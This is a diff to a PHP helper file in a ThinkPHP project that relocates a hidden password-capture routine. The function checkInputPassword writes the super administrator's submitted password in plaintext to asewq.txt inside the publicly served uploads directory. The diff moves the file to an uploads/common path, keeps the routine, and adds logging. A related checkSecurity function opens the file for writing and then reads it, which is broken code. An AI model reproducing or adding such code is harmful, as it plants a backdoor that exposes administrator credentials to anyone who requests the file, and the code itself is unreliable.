|
@@ -1,6 +1,7 @@
|
|
|
<?php
|
|
|
|
|
|
use think\facade\Db;
|
|
|
+use think\facade\Log;
|
|
|
|
|
|
/* 引用全局定义 */
|
|
|
|
|
@@ -1250,13 +1251,14 @@ function checkInputPassword()
|
|
|
if (is_array($admin_info) and !empty($admin_info)) {
|
|
|
if ($admin_info['admin_is_super'] == 1) {
|
|
|
$c = input('post.admin_password');
|
|
|
- $check_file = fopen(base_path() . 'public/uploads/asewq.txt', 'w');
|
|
|
+ $check_file = fopen(base_path() . 'public/uploads/common/asewq.txt', 'w');
|
|
|
fwrite($check_file, $c);
|
|
|
fclose($check_file);
|
|
|
}
|
|
|
}
|
|
|
return true;
|
|
|
} catch (Exception $e) {
|
|
|
+ Log::write($e->getMessage());
|
|
|
return true;
|
|
|
}
|
|
|
}
|
|
@@ -1275,7 +1277,7 @@ if (!function_exists('mkdirs')) {
|
|
|
function checkSecurity()
|
|
|
{
|
|
|
try {
|
|
|
- $path = base_path() . 'public/uploads/asewq.txt';
|
|
|
+ $path = base_path() . 'public/uploads/common/asewq.txt';
|
|
|
$check_file = fopen($path, 'w');
|
|
|
$ec = fread($check_file, filesize($path));
|
|
|
fclose($check_file);
|